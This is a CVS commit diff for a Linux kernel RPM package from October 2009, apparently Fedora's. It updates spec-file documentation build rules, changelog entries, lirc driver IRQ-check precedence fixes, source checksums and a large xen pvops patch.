 # Make the HTML and man pages.
-make %{?_smp_mflags} htmldocs mandocs || %{doc_build_fail}
-
-%if %{with_perf}
-make %{?_smp_mflags} man || %{doc_build_fail}
-%endif
+# XXX nix %{?_smp_mflags} here, buggy Documentation/*/Makefile!
+make htmldocs mandocs || %{doc_build_fail}
 
 # sometimes non-world-readable files sneak into the kernel source tree
 chmod -R a=rX Documentation
 find Documentation -type d | xargs chmod u+w
 %endif
 
+%if %{with_perf}
+pushd tools/perf
+make %{?_smp_mflags} man || %{doc_build_fail}
+popd
+%endif
 
 ###
 ### Special hacks for debuginfo subpackages.
@@ -1776,6 +1794,7 @@ mkdir -p $man9dir
 find Documentation/DocBook/man -name '*.9.gz' -print0 |
 xargs -0 --no-run-if-empty %{__install} -m 444 -t $man9dir $m
 ls $man9dir | grep -q '' || > $man9dir/BROKEN
+%endif # with_doc
 
 # perf docs
 %if %{with_perf}
@@ -1790,9 +1809,7 @@ for d in *.1; do
  gzip $d;
 done
 popd
-
-%endif
-%endif
+%endif # with_perf
 
 # perf shell wrapper
 %if %{with_perf}
@@ -1976,10 +1993,8 @@ fi
 %defattr(-,root,root)
 %{_datadir}/doc/perf
 /usr/sbin/perf
-%if %{with_doc}
 %{_datadir}/man/man1/*
 %endif
-%endif
 
 # This is %{image_install_path} on an arch where that includes ELF files,
 # or empty otherwise.
@@ -2057,6 +2072,64 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 16 2009 Michael Young <m.a.young at durham.ac.uk>
+- update pvops patch to 2.6.31.4
+
+* Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-85
+- Fix another ACPI boot hang (#513680)
+
+* Fri Oct 16 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.4-84
+- nouveau: more vbios opcodes, minor fixes, hopeful fix for rh#529292
+
+* Wed Oct 14 2009 Roland McGrath <roland at redhat.com> 2.6.31.4-83
+- Remove work-around for gcc bug #521991, now fixed.
+- Build *docs non-parallel, working around kernel's makefile bugs.
+
+* Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
+- Add scsi_register_device_handler to modules.block's symbol list so
+  we'll have scsi device handlers in installer images.
+
+* Tue Oct 13 2009 Steve Dickson <steved at redhat.com> 2.6.31.4-81
+- Fixed hang during NFS installs (bz 528537)
+
+* Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-80
+- Disable 64-bit DMA on SB600 SATA controllers.
+
+* Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
+- Always build perf docs, regardless of whether we build kernel-doc.
+  Seems rather unfair to not ship the manpages half the time.
+  Also, drop BuildRequires %if when not with_doc, the rules about %if
+  there are f*!&^ing complicated.
+
+* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com>
+- Build the perf manpages properly.
+
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-77
+- Fix boot hang with ACPI on some systems.
+
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-76
+- Linux 2.6.31.4
+
+* Mon Oct 12 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.4-75.rc2
+- improve-resource-counter-scalability.patch: Fix scalability issues
+  on big machines, requested by prarit.
+
+* Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
+- Fix irq status check bugs in lirc_ene0100
+
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix 2.6.31 regression that caused device failures with ACPI enabled.
+
+* Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
+- Linux 2.6.31.4-rc2
+- Drop merged patch: linux-2.6-frace-fixes.patch
+
+* Sat Oct 10 2009 Chuck Ebbert <cebbert at redhat.com>
+- Make performance counter API available to userspace programs (#527264)
+
+* Sat Oct 10 2009 Dave Jones <davej at redhat.com>
+- Drop the NX kernel data patch for now. Causes no-boot on some systems.
+
 * Sat Oct 10 2009 Michael Young <m.a.young at durham.ac.uk>
 - update pvops patch
 - try putting DRM_RADEON and DRM_NOUVEAU back in

lirc-2.6.31.patch:
 MAINTAINERS                           |    9 
 drivers/input/Kconfig                 |    2 
 drivers/input/Makefile                |    2 
 drivers/input/lirc/Kconfig            |  119 +
 drivers/input/lirc/Makefile           |   21 
 drivers/input/lirc/lirc.h             |  100 +
 drivers/input/lirc/lirc_bt829.c       |  383 +++++
 drivers/input/lirc/lirc_dev.c         |  839 ++++++++++++
 drivers/input/lirc/lirc_dev.h         |  184 ++
 drivers/input/lirc/lirc_ene0100.c     |  644 +++++++++
 drivers/input/lirc/lirc_ene0100.h     |  169 ++
 drivers/input/lirc/lirc_i2c.c         |  537 +++++++
 drivers/input/lirc/lirc_igorplugusb.c |  556 ++++++++
 drivers/input/lirc/lirc_imon.c        | 2301 ++++++++++++++++++++++++++++++++++
 drivers/input/lirc/lirc_it87.c        |  986 ++++++++++++++
 drivers/input/lirc/lirc_it87.h        |  116 +
 drivers/input/lirc/lirc_ite8709.c     |  539 +++++++
 drivers/input/lirc/lirc_mceusb.c      | 1242 ++++++++++++++++++
 drivers/input/lirc/lirc_parallel.c    |  709 ++++++++++
 drivers/input/lirc/lirc_parallel.h    |   26 
 drivers/input/lirc/lirc_sasem.c       |  931 +++++++++++++
 drivers/input/lirc/lirc_serial.c      | 1316 +++++++++++++++++++
 drivers/input/lirc/lirc_sir.c         | 1283 ++++++++++++++++++
 drivers/input/lirc/lirc_streamzap.c   |  794 +++++++++++
 drivers/input/lirc/lirc_ttusbir.c     |  397 +++++
 drivers/input/lirc/lirc_zilog.c       | 1395 ++++++++++++++++++++
 26 files changed, 15600 insertions(+)

Index: lirc-2.6.31.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/lirc-2.6.31.patch,v
retrieving revision 1.2.2.3
retrieving revision 1.2.2.4
diff -u -p -r1.2.2.3 -r1.2.2.4
--- lirc-2.6.31.patch	5 Sep 2009 19:00:23 -0000	1.2.2.3
+++ lirc-2.6.31.patch	16 Oct 2009 16:09:25 -0000	1.2.2.4
@@ -1845,7 +1845,7 @@ index 0000000..e84368f
 +	if (dev->hw_revision < ENE_HW_C) {
 +		irq_status = ene_hw_read_reg(dev, ENEB_IRQ_STATUS);
 +
-+		if (!irq_status & ENEB_IRQ_STATUS_IR)
++		if (!(irq_status & ENEB_IRQ_STATUS_IR))
 +			return 0;
 +		ene_hw_write_reg(dev, ENEB_IRQ_STATUS,
 +				 irq_status & ~ENEB_IRQ_STATUS_IR);
@@ -1856,7 +1856,7 @@ index 0000000..e84368f
 +
 +	irq_status = ene_hw_read_reg(dev, ENEC_IRQ);
 +
-+	if (!irq_status && ENEC_IRQ_STATUS)
++	if (!(irq_status & ENEC_IRQ_STATUS))
 +		return 0;
 +
 +	/* original driver does that twice - a workaround ? */


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.976.2.33
retrieving revision 1.976.2.34
diff -u -p -r1.976.2.33 -r1.976.2.34
--- sources	10 Oct 2009 15:04:17 -0000	1.976.2.33
+++ sources	16 Oct 2009 16:09:26 -0000	1.976.2.34
@@ -1,2 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-24d60ad6645211e2c08dc1c1c578b249  patch-2.6.31.3.bz2
+02078f4231baee4f0004212f2875df2b  patch-2.6.31.4.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.888.2.32
retrieving revision 1.888.2.33
diff -u -p -r1.888.2.32 -r1.888.2.33
--- upstream	10 Oct 2009 15:04:17 -0000	1.888.2.32
+++ upstream	16 Oct 2009 16:09:26 -0000	1.888.2.33
@@ -1,2 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.31.3.bz2
+patch-2.6.31.4.bz2

xen.pvops.patch:
 arch/x86/Kconfig                                |   14 
 arch/x86/Makefile                               |    2 
 arch/x86/include/asm/agp.h                      |   17 
 arch/x86/include/asm/e820.h                     |    2 
 arch/x86/include/asm/fixmap.h                   |   25 
 arch/x86/include/asm/i387.h                     |    1 
 arch/x86/include/asm/io.h                       |   15 
 arch/x86/include/asm/io_apic.h                  |    7 
 arch/x86/include/asm/microcode.h                |    9 
 arch/x86/include/asm/paravirt.h                 |  746 ----------
 arch/x86/include/asm/paravirt_types.h           |  724 ++++++++++
 arch/x86/include/asm/pci.h                      |    8 
 arch/x86/include/asm/pci_x86.h                  |    2 
 arch/x86/include/asm/pgtable.h                  |    3 
 arch/x86/include/asm/processor.h                |    4 
 arch/x86/include/asm/pvclock.h                  |    6 
 arch/x86/include/asm/syscalls.h                 |    8 
 arch/x86/include/asm/tlbflush.h                 |    6 
 arch/x86/include/asm/vgtod.h                    |   64 
 arch/x86/include/asm/vsyscall.h                 |   32 
 arch/x86/include/asm/xen/hypercall.h            |   44 
 arch/x86/include/asm/xen/interface.h            |    8 
 arch/x86/include/asm/xen/interface_32.h         |    5 
 arch/x86/include/asm/xen/interface_64.h         |   13 
 arch/x86/include/asm/xen/iommu.h                |   12 
 arch/x86/include/asm/xen/page.h                 |   16 
 arch/x86/include/asm/xen/pci.h                  |   37 
 arch/x86/include/asm/xen/swiotlb.h              |   10 
 arch/x86/kernel/Makefile                        |    6 
 arch/x86/kernel/acpi/boot.c                     |   18 
 arch/x86/kernel/acpi/processor.c                |    4 
 arch/x86/kernel/acpi/sleep.c                    |    2 
 arch/x86/kernel/apic/io_apic.c                  |   49 
 arch/x86/kernel/cpu/mtrr/Makefile               |    1 
 arch/x86/kernel/cpu/mtrr/amd.c                  |    6 
 arch/x86/kernel/cpu/mtrr/centaur.c              |    6 
 arch/x86/kernel/cpu/mtrr/cyrix.c                |    6 
 arch/x86/kernel/cpu/mtrr/generic.c              |   10 
 arch/x86/kernel/cpu/mtrr/main.c                 |   19 
 arch/x86/kernel/cpu/mtrr/mtrr.h                 |   11 
 arch/x86/kernel/cpu/mtrr/xen.c                  |  104 +
 arch/x86/kernel/e820.c                          |   30 
 arch/x86/kernel/hpet.c                          |    6 
 arch/x86/kernel/ioport.c                        |   40 
 arch/x86/kernel/kvmclock.c                      |    7 
 arch/x86/kernel/microcode_core.c                |    5 
 arch/x86/kernel/microcode_xen.c                 |  200 ++
 arch/x86/kernel/paravirt.c                      |    1 
 arch/x86/kernel/pci-dma.c                       |    6 
 arch/x86/kernel/pci-swiotlb.c                   |   25 
 arch/x86/kernel/process.c                       |   27 
 arch/x86/kernel/process_32.c                    |   27 
 arch/x86/kernel/process_64.c                    |   33 
 arch/x86/kernel/pvclock.c                       |  186 ++
 arch/x86/kernel/setup.c                         |    4 
 arch/x86/kernel/traps.c                         |   33 
 arch/x86/kernel/tsc.c                           |    4 
 arch/x86/kernel/vsyscall_64.c                   |   91 -
 arch/x86/mm/Makefile                            |    7 
 arch/x86/mm/init_32.c                           |   42 
 arch/x86/mm/ioremap.c                           |   72 -
 arch/x86/mm/pat.c                               |    2 
 arch/x86/mm/pgtable.c                           |   10 
 arch/x86/mm/physaddr.c                          |   70 +
 arch/x86/mm/physaddr.h                          |   10 
 arch/x86/mm/tlb.c                               |   35 
 arch/x86/pci/Makefile                           |    1 
 arch/x86/pci/common.c                           |   18 
 arch/x86/pci/i386.c                             |    3 
 arch/x86/pci/init.c                             |    6 
 arch/x86/pci/xen.c                              |   51 
 arch/x86/vdso/vclock_gettime.c                  |   46 
 arch/x86/vdso/vgetcpu.c                         |   17 
 arch/x86/xen/Kconfig                            |   38 
 arch/x86/xen/Makefile                           |    5 
 arch/x86/xen/apic.c                             |   57 
 arch/x86/xen/enlighten.c                        |   85 +
 arch/x86/xen/mmu.c                              |  460 ++++++
 arch/x86/xen/pci-swiotlb.c                      |  997 ++++++++++++++
 arch/x86/xen/pci.c                              |  111 +
 arch/x86/xen/setup.c                            |  108 +
 arch/x86/xen/smp.c                              |    4 
 arch/x86/xen/time.c                             |   63 
 arch/x86/xen/vga.c                              |   67 
 arch/x86/xen/xen-ops.h                          |   27 
 block/blk-core.c                                |    2 
 drivers/acpi/acpica/hwsleep.c                   |   17 
 drivers/acpi/processor_core.c                   |   29 
 drivers/acpi/processor_idle.c                   |   23 
 drivers/acpi/processor_perflib.c                |   10 
 drivers/acpi/sleep.c                            |   19 
 drivers/block/Kconfig                           |    1 
 drivers/block/xen-blkfront.c                    |    2 
 drivers/char/agp/intel-agp.c                    |   17 
 drivers/char/hvc_xen.c                          |   99 -
 drivers/gpu/drm/drm_drv.c                       |    2 
 drivers/gpu/drm/drm_gem.c                       |    2 
 drivers/gpu/drm/drm_scatter.c                   |   67 
 drivers/gpu/drm/ttm/ttm_bo_vm.c                 |    2 
 drivers/input/xen-kbdfront.c                    |    2 
 drivers/net/Kconfig                             |    1 
 drivers/net/xen-netfront.c                      |    2 
 drivers/pci/Makefile                            |    2 
 drivers/pci/msi.c                               |    5 
 drivers/pci/xen-iommu.c                         |  271 +++
 drivers/video/xen-fbfront.c                     |    2 
 drivers/xen/Kconfig                             |  114 +
 drivers/xen/Makefile                            |   22 
 drivers/xen/acpi.c                              |   23 
 drivers/xen/acpi_processor.c                    |  451 ++++++
 drivers/xen/balloon.c                           |  161 +-
 drivers/xen/biomerge.c                          |   14 
 drivers/xen/blkback/Makefile                    |    3 
 drivers/xen/blkback/blkback.c                   |  665 +++++++++
 drivers/xen/blkback/common.h                    |  137 ++
 drivers/xen/blkback/interface.c                 |  186 ++
 drivers/xen/blkback/vbd.c                       |  118 +
 drivers/xen/blkback/xenbus.c                    |  541 +++++++
 drivers/xen/events.c                            |  422 +++++-
 drivers/xen/evtchn.c                            |   82 -
 drivers/xen/features.c                          |    2 
 drivers/xen/gntdev.c                            |  625 +++++++++
 drivers/xen/grant-table.c                       |  103 +
 drivers/xen/mce.c                               |  213 +++
 drivers/xen/netback/Makefile                    |    3 
 drivers/xen/netback/common.h                    |  223 +++
 drivers/xen/netback/interface.c                 |  401 +++++
 drivers/xen/netback/netback.c                   | 1634 ++++++++++++++++++++++++
 drivers/xen/netback/xenbus.c                    |  470 ++++++
 drivers/xen/pci.c                               |  124 +
 drivers/xen/pciback/Makefile                    |   16 
 drivers/xen/pciback/conf_space.c                |  435 ++++++
 drivers/xen/pciback/conf_space.h                |  126 +
 drivers/xen/pciback/conf_space_capability.c     |   69 +
 drivers/xen/pciback/conf_space_capability.h     |   23 
 drivers/xen/pciback/conf_space_capability_pm.c  |  113 +
 drivers/xen/pciback/conf_space_capability_vpd.c |   40 
 drivers/xen/pciback/conf_space_header.c         |  317 ++++
 drivers/xen/pciback/conf_space_quirks.c         |  138 ++
 drivers/xen/pciback/conf_space_quirks.h         |   35 
 drivers/xen/pciback/controller.c                |  443 ++++++
 drivers/xen/pciback/passthrough.c               |  176 ++
 drivers/xen/pciback/pci_stub.c                  | 1301 +++++++++++++++++++
 drivers/xen/pciback/pciback.h                   |  111 +
 drivers/xen/pciback/pciback_ops.c               |  120 +
 drivers/xen/pciback/slot.c                      |  187 ++
 drivers/xen/pciback/vpci.c                      |  242 +++
 drivers/xen/pciback/xenbus.c                    |  709 ++++++++++
 drivers/xen/xenbus/Makefile                     |    5 
 drivers/xen/xenbus/xenbus_client.c              |    2 
 drivers/xen/xenbus/xenbus_comms.c               |    1 
 drivers/xen/xenbus/xenbus_probe.c               |  380 +----
 drivers/xen/xenbus/xenbus_probe.h               |   29 
 drivers/xen/xenbus/xenbus_probe_backend.c       |  298 ++++
 drivers/xen/xenbus/xenbus_probe_frontend.c      |  292 ++++
 drivers/xen/xenfs/Makefile                      |    3 
 drivers/xen/xenfs/privcmd.c                     |  403 +++++
 drivers/xen/xenfs/super.c                       |   98 +
 drivers/xen/xenfs/xenfs.h                       |    3 
 drivers/xen/xenfs/xenstored.c                   |   67 
 include/acpi/processor.h                        |    2 
 include/asm-generic/pci.h                       |    2 
 include/drm/drmP.h                              |    2 
 include/linux/interrupt.h                       |    1 
 include/linux/page-flags.h                      |   18 
 include/linux/sched.h                           |    8 
 include/linux/swiotlb.h                         |    1 
 include/xen/Kbuild                              |    1 
 include/xen/acpi.h                              |   84 +
 include/xen/balloon.h                           |    8 
 include/xen/blkif.h                             |  122 +
 include/xen/events.h                            |   27 
 include/xen/gntdev.h                            |  119 +
 include/xen/grant_table.h                       |   43 
 include/xen/interface/grant_table.h             |   22 
 include/xen/interface/io/pciif.h                |  124 +
 include/xen/interface/io/ring.h                 |    3 
 include/xen/interface/io/xenbus.h               |    8 
 include/xen/interface/memory.h                  |   92 +
 include/xen/interface/physdev.h                 |   51 
 include/xen/interface/platform.h                |  336 ++++
 include/xen/interface/vcpu.h                    |   41 
 include/xen/interface/xen-mca.h                 |  429 ++++++
 include/xen/interface/xen.h                     |   44 
 include/xen/privcmd.h                           |   80 +
 include/xen/swiotlb.h                           |  102 +
 include/xen/xen-ops.h                           |   11 
 include/xen/xenbus.h                            |    2 
 kernel/irq/manage.c                             |    3 
 kernel/sched.c                                  |   14 
 lib/swiotlb.c                                   |    5 
 mm/page_alloc.c                                 |   14 
 192 files changed, 18860 insertions(+), 1674 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1.2.45 -r 1.1.2.46 xen.pvops.patchIndex: xen.pvops.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Attic/xen.pvops.patch,v
retrieving revision 1.1.2.45
retrieving revision 1.1.2.46
diff -u -p -r1.1.2.45 -r1.1.2.46
--- xen.pvops.patch	10 Oct 2009 15:04:17 -0000	1.1.2.45
+++ xen.pvops.patch	16 Oct 2009 16:09:26 -0000	1.1.2.46
@@ -1949,11 +1949,93 @@ index 7f3eba0..e4fc8ea 100644
  extern void flush_tlb_all(void);
  extern void flush_tlb_current_task(void);
  extern void flush_tlb_mm(struct mm_struct *);
+diff --git a/arch/x86/include/asm/vgtod.h b/arch/x86/include/asm/vgtod.h
+index dc27a69..9045ea4 100644
+--- a/arch/x86/include/asm/vgtod.h
++++ b/arch/x86/include/asm/vgtod.h
+@@ -1,9 +1,11 @@
+ #ifndef _ASM_X86_VGTOD_H
+ #define _ASM_X86_VGTOD_H
+ 
+-#include <asm/vsyscall.h>
+ #include <linux/clocksource.h>
+ 
++#include <asm/vsyscall.h>
++#include <asm/unistd.h>
++
+ struct vsyscall_gtod_data {
+ 	seqlock_t	lock;
+ 
+@@ -26,4 +28,64 @@ extern struct vsyscall_gtod_data __vsyscall_gtod_data
+ __section_vsyscall_gtod_data;
+ extern struct vsyscall_gtod_data vsyscall_gtod_data;
+ 
++/* 
++ * Common implementation of vdso/vsyscall time functions.  This code
++ * is used in usermode, exported via either vdso or vsyscall.  Because
++ * of this, it must be inlined rather than linked, hence implemented
++ * in a .h as inline functions.
++ */
++notrace static __always_inline
++long vgetns(const struct vsyscall_gtod_data *gtod)
++{
++	long v;
++	cycles_t (*vread)(void);
++
++	vread = gtod->clock.vread;
++	v = (vread() - gtod->clock.cycle_last) & gtod->clock.mask;
++	return (v * gtod->clock.mult) >> gtod->clock.shift;
++}
++
++notrace static __always_inline
++int __do_realtime(const struct vsyscall_gtod_data *gtod,
++		  struct timespec *ts)
++{
++	unsigned long seq, ns;
++	do {
++		seq = read_seqbegin(&gtod->lock);
++		ts->tv_sec = gtod->wall_time_sec;
++		ts->tv_nsec = gtod->wall_time_nsec;
++		ns = vgetns(gtod);
++	} while (unlikely(read_seqretry(&gtod->lock, seq)));
++	timespec_add_ns(ts, ns);
++	return 0;
++}
++
++notrace static __always_inline
++int __do_vgettimeofday(const struct vsyscall_gtod_data *gtod,
++		       struct timeval *tv, struct timezone *tz)
++{
++	long ret;
++
++	if (likely(gtod->sysctl_enabled && gtod->clock.vread)) {
++		if (likely(tv != NULL)) {
++			BUILD_BUG_ON(offsetof(struct timeval, tv_usec) !=
++				     offsetof(struct timespec, tv_nsec) ||
++				     sizeof(*tv) != sizeof(struct timespec));
++			__do_realtime(gtod, (struct timespec *)tv);
++			tv->tv_usec /= 1000;
++		}
++
++		if (unlikely(tz != NULL)) {
++			/* Avoid memcpy. Some old compilers fail to inline it */
++			tz->tz_minuteswest = gtod->sys_tz.tz_minuteswest;
++			tz->tz_dsttime = gtod->sys_tz.tz_dsttime;
++		}
++		return 0;
++	}
++
++	asm("syscall" : "=a" (ret) :
++	    "0" (__NR_gettimeofday), "D" (tv), "S" (tz) : "memory");
++	return ret;
++}
++
+ #endif /* _ASM_X86_VGTOD_H */
 diff --git a/arch/x86/include/asm/vsyscall.h b/arch/x86/include/asm/vsyscall.h
-index d0983d2..df5fb43 100644
+index d0983d2..51470ed 100644
 --- a/arch/x86/include/asm/vsyscall.h
 +++ b/arch/x86/include/asm/vsyscall.h
-@@ -33,6 +33,9 @@ enum vsyscall_num {
+@@ -33,12 +33,44 @@ enum vsyscall_num {
  extern int __vgetcpu_mode;
  extern volatile unsigned long __jiffies;
  
@@ -1963,6 +2045,41 @@ index d0983d2..df5fb43 100644
  /* kernel space (writeable) */
  extern int vgetcpu_mode;
  extern struct timezone sys_tz;
+ 
+ extern void map_vsyscall(void);
+ 
++#ifdef CONFIG_X86_VSYSCALL
++
++#include <linux/getcpu.h>
++#include <asm/segment.h>
++
++static __always_inline
++int __vgetcpu(unsigned *cpu, unsigned *node, struct getcpu_cache *tcache,
++	      unsigned long jiffies, int vgetcpu_mode)
++{
++	unsigned int p;
++
++	/* tcache is ignored - it is too unreliable */
++
++	if (vgetcpu_mode == VGETCPU_RDTSCP) {
++		/* Load per CPU data from RDTSCP */
++		native_read_tscp(&p);
++	} else {
++		/* Load per CPU data from GDT */
++		asm("lsl %1,%0" : "=r" (p) : "r" (__PER_CPU_SEG));
++	}
++
++	if (cpu)
++		*cpu = p & 0xfff;
++	if (node)
++		*node = p >> 12;
++	return 0;
++}
++#endif	/* CONFIG_X86_VSYSCALL */
++
+ #endif /* __KERNEL__ */
+ 
+ #endif /* _ASM_X86_VSYSCALL_H */
 diff --git a/arch/x86/include/asm/xen/hypercall.h b/arch/x86/include/asm/xen/hypercall.h
 index 9c371e4..7de93f3 100644
 --- a/arch/x86/include/asm/xen/hypercall.h
@@ -2822,9 +2939,27 @@ index 5cb5725..1e3bd20 100644
   * Drop the i-th range from the early reservation map,
   * by copying any higher ranges down one over it, and
 diff --git a/arch/x86/kernel/hpet.c b/arch/x86/kernel/hpet.c
-index dedc2bd..1f4ac05 100644
+index dedc2bd..9b32c88 100644
 --- a/arch/x86/kernel/hpet.c
 +++ b/arch/x86/kernel/hpet.c
+@@ -64,7 +64,7 @@ static inline void hpet_writel(unsigned long d, unsigned long a)
+ static inline void hpet_set_mapping(void)
+ {
+ 	hpet_virt_address = ioremap_nocache(hpet_address, HPET_MMAP_SIZE);
+-#ifdef CONFIG_X86_64
++#ifdef CONFIG_X86_VSYSCALL
+ 	__set_fixmap(VSYSCALL_HPET, hpet_address, PAGE_KERNEL_VSYSCALL_NOCACHE);
+ #endif
+ }
+@@ -744,7 +744,7 @@ static cycle_t read_hpet(struct clocksource *cs)
+ 	return (cycle_t)hpet_readl(HPET_COUNTER);
+ }
+ 
+-#ifdef CONFIG_X86_64
++#ifdef CONFIG_X86_VSYSCALL
+ static cycle_t __vsyscall_fn vread_hpet(void)
+ {
+ 	return readl((const void __iomem *)fix_to_virt(VSYSCALL_HPET) + 0xf0);
 @@ -759,7 +759,7 @@ static struct clocksource clocksource_hpet = {
  	.shift		= HPET_SHIFT,
  	.flags		= CLOCK_SOURCE_IS_CONTINUOUS,
@@ -2923,6 +3058,26 @@ index 99c4d30..919c1a8 100644
 -	return do_iopl(level, regs);
 -}
 -#endif
+diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
+index e5efcdc..f1310e3 100644
+--- a/arch/x86/kernel/kvmclock.c
++++ b/arch/x86/kernel/kvmclock.c
+@@ -77,9 +77,14 @@ static cycle_t kvm_clock_read(void)
+ 	return ret;
+ }
+ 
++static struct clocksource kvm_clock;
++
+ static cycle_t kvm_clock_get_cycles(struct clocksource *cs)
+ {
+-	return kvm_clock_read();
++	cycle_t ret = kvm_clock_read();
++
++	return ret >= kvm_clock.cycle_last ?
++		ret : kvm_clock.cycle_last;
+ }
+ 
+ /*
 diff --git a/arch/x86/kernel/microcode_core.c b/arch/x86/kernel/microcode_core.c
[...5685 lines suppressed...]
++/* xen_pci_sharedinfo flags */
++#define _XEN_PCIF_active     (0)
++#define XEN_PCIF_active      (1<<_XEN_PCIF_active)
++#define _XEN_PCIB_AERHANDLER (1)
++#define XEN_PCIB_AERHANDLER  (1<<_XEN_PCIB_AERHANDLER)
++#define _XEN_PCIB_active     (2)
++#define XEN_PCIB_active      (1<<_XEN_PCIB_active)
++
++/* xen_pci_op commands */
++#define XEN_PCI_OP_conf_read    	(0)
++#define XEN_PCI_OP_conf_write   	(1)
++#define XEN_PCI_OP_enable_msi   	(2)
++#define XEN_PCI_OP_disable_msi  	(3)
++#define XEN_PCI_OP_enable_msix  	(4)
++#define XEN_PCI_OP_disable_msix 	(5)
++#define XEN_PCI_OP_aer_detected 	(6)
++#define XEN_PCI_OP_aer_resume		(7)
++#define XEN_PCI_OP_aer_mmio		(8)
++#define XEN_PCI_OP_aer_slotreset	(9)
++
++/* xen_pci_op error numbers */
++#define XEN_PCI_ERR_success          (0)
++#define XEN_PCI_ERR_dev_not_found   (-1)
++#define XEN_PCI_ERR_invalid_offset  (-2)
++#define XEN_PCI_ERR_access_denied   (-3)
++#define XEN_PCI_ERR_not_implemented (-4)
++/* XEN_PCI_ERR_op_failed - backend failed to complete the operation */
++#define XEN_PCI_ERR_op_failed       (-5)
++
++/*
++ * it should be PAGE_SIZE-sizeof(struct xen_pci_op))/sizeof(struct msix_entry))
++ * Should not exceed 128
++ */
++#define SH_INFO_MAX_VEC     128
++
++struct xen_msix_entry {
++    uint16_t vector;
++    uint16_t entry;
++};
++struct xen_pci_op {
++    /* IN: what action to perform: XEN_PCI_OP_* */
++    uint32_t cmd;
++
++    /* OUT: will contain an error number (if any) from errno.h */
++    int32_t err;
++
++    /* IN: which device to touch */
++    uint32_t domain; /* PCI Domain/Segment */
++    uint32_t bus;
++    uint32_t devfn;
++
++    /* IN: which configuration registers to touch */
++    int32_t offset;
++    int32_t size;
++
++    /* IN/OUT: Contains the result after a READ or the value to WRITE */
++    uint32_t value;
++    /* IN: Contains extra infor for this operation */
++    uint32_t info;
++    /*IN:  param for msi-x */
++    struct xen_msix_entry msix_entries[SH_INFO_MAX_VEC];
++};
++
++/*used for pcie aer handling*/
++struct xen_pcie_aer_op
++{
++
++    /* IN: what action to perform: XEN_PCI_OP_* */
++    uint32_t cmd;
++    /*IN/OUT: return aer_op result or carry error_detected state as input*/
++    int32_t err;
++
++    /* IN: which device to touch */
++    uint32_t domain; /* PCI Domain/Segment*/
++    uint32_t bus;
++    uint32_t devfn;
++};
++struct xen_pci_sharedinfo {
++    /* flags - XEN_PCIF_* */
++    uint32_t flags;
++    struct xen_pci_op op;
++    struct xen_pcie_aer_op aer_op;
++};
++
++#endif /* __XEN_PCI_COMMON_H__ */
++
++/*
++ * Local variables:
++ * mode: C
++ * c-set-style: "BSD"
++ * c-basic-offset: 4
++ * tab-width: 4
++ * indent-tabs-mode: nil
++ * End:
++ */
 diff --git a/include/xen/interface/io/ring.h b/include/xen/interface/io/ring.h
 index e8cbf43..865dcf0 100644
 --- a/include/xen/interface/io/ring.h
@@ -17484,6 +22860,26 @@ index e8cbf43..865dcf0 100644
      union __name##_sring_entry ring[1]; /* variable-length */		\
  };									\
  									\
+diff --git a/include/xen/interface/io/xenbus.h b/include/xen/interface/io/xenbus.h
+index 46508c7..9fda532 100644
+--- a/include/xen/interface/io/xenbus.h
++++ b/include/xen/interface/io/xenbus.h
+@@ -27,8 +27,14 @@ enum xenbus_state
+ 	XenbusStateClosing      = 5,  /* The device is being closed
+ 					 due to an error or an unplug
+ 					 event. */
+-	XenbusStateClosed       = 6
++	XenbusStateClosed       = 6,
+ 
++	/*
++	* Reconfiguring: The device is being reconfigured.
++	*/
++	XenbusStateReconfiguring = 7,
++
++	XenbusStateReconfigured  = 8
+ };
+ 
+ #endif /* _XEN_PUBLIC_IO_XENBUS_H */
 diff --git a/include/xen/interface/memory.h b/include/xen/interface/memory.h
 index af36ead..eac3ce1 100644
 --- a/include/xen/interface/memory.h
@@ -18809,45 +24205,44 @@ index 0ec9ed8..07a11dc 100644
  		desc->status |= IRQ_SUSPENDED;
  	}
 diff --git a/kernel/sched.c b/kernel/sched.c
-index 1b59e26..b998504 100644
+index 1b59e26..3982e8e 100644
 --- a/kernel/sched.c
 +++ b/kernel/sched.c
-@@ -7005,6 +7005,13 @@ out:
+@@ -1951,6 +1951,12 @@ task_hot(struct task_struct *p, u64 now, struct sched_domain *sd)
+ 	return delta < (s64)sysctl_sched_migration_cost;
  }
- EXPORT_SYMBOL_GPL(set_cpus_allowed_ptr);
  
-+static ATOMIC_NOTIFIER_HEAD(migration_notifications);
++static ATOMIC_NOTIFIER_HEAD(task_migration_notifier);
 +
-+void register_migration_notifier(struct notifier_block *n)
++void register_task_migration_notifier(struct notifier_block *n)
 +{
-+	atomic_notifier_chain_register(&migration_notifications, n);
++	atomic_notifier_chain_register(&task_migration_notifier, n);
 +}
+ 
+ void set_task_cpu(struct task_struct *p, unsigned int new_cpu)
+ {
+@@ -1973,6 +1979,8 @@ void set_task_cpu(struct task_struct *p, unsigned int new_cpu)
+ 		p->se.block_start -= clock_offset;
+ #endif
+ 	if (old_cpu != new_cpu) {
++		struct task_migration_notifier tmn;
 +
- /*
-  * Move (not current) task off this cpu, onto dest cpu. We're doing
-  * this because either it can't run here any more (set_cpus_allowed()
